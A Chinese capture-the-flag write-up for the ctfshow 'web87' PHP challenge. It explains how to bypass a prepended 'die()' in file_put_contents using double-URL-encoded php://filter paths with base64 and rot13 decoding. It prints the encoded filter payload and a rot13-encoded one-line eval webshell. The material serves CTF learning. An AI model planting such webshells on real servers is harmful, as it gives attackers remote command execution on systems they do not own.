ctfshow web87
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
题目原理解释
可以看到题目把 php data : . 都给替换成 ??? 了,而且最后的 file_put_contents 函数(其实就是将字符串写入文件中的函数)会对GET传参的file参数进行url解码,并且会把 <?php die('大佬别秀了');?>" 拼接到content函数前面,导致content中的内容无法生效(php死亡)
其实这里有点奇怪,str_replace 函数只会检查原始输入(未解码),而 urldecode 是最后执行的,因此过滤失效。
因为中间件会url解码一次, file_put_contents函数还会解码一次所以就需要两次url解码,现在问题就在于如何绕过php死亡
php://filter是php特有的协议流,可以读取传入的数据,进行编码或解码后再输出。并且php在解码base64时,会跳过base64字符集外 的字符。所以通过post传参传入content参数时就可以将一句话木马进行base64编码,这样就可以绕过php死亡了
解法一


发现url两次编码后还是存在php会被过滤,那就逐字进行url编码
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
接下来就是post传参content

这里就有人会问我的一句话木马base64编码以后是下面的内容,这里就不得不说base64是按四位一组进行编码解码的,这里不是四倍数位,所以需要加上两个字母凑齐(不然的话后面在执行命令的时候返回的结果会是乱码,这里我也是查了wp才知道为什么的)

先使用ls命令看看文件


解法二
<?php die('大佬别秀了');?> 经过 rot13 编码会变成 <?cuc qrv(); ?>,如果 php 未开启短标签,则不会认识这段代码,也就不会执行。
使用rot13编码,首先将命令php://filter/write=string.rot13/resource=sh.php进行rot13编码

cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=fu.cuc
然后再将一句话木马也rot13编码一下

<?cuc @riny($_TRG['pzq']);?>
接下来步骤和base64一样的

浙公网安备 33010602011771号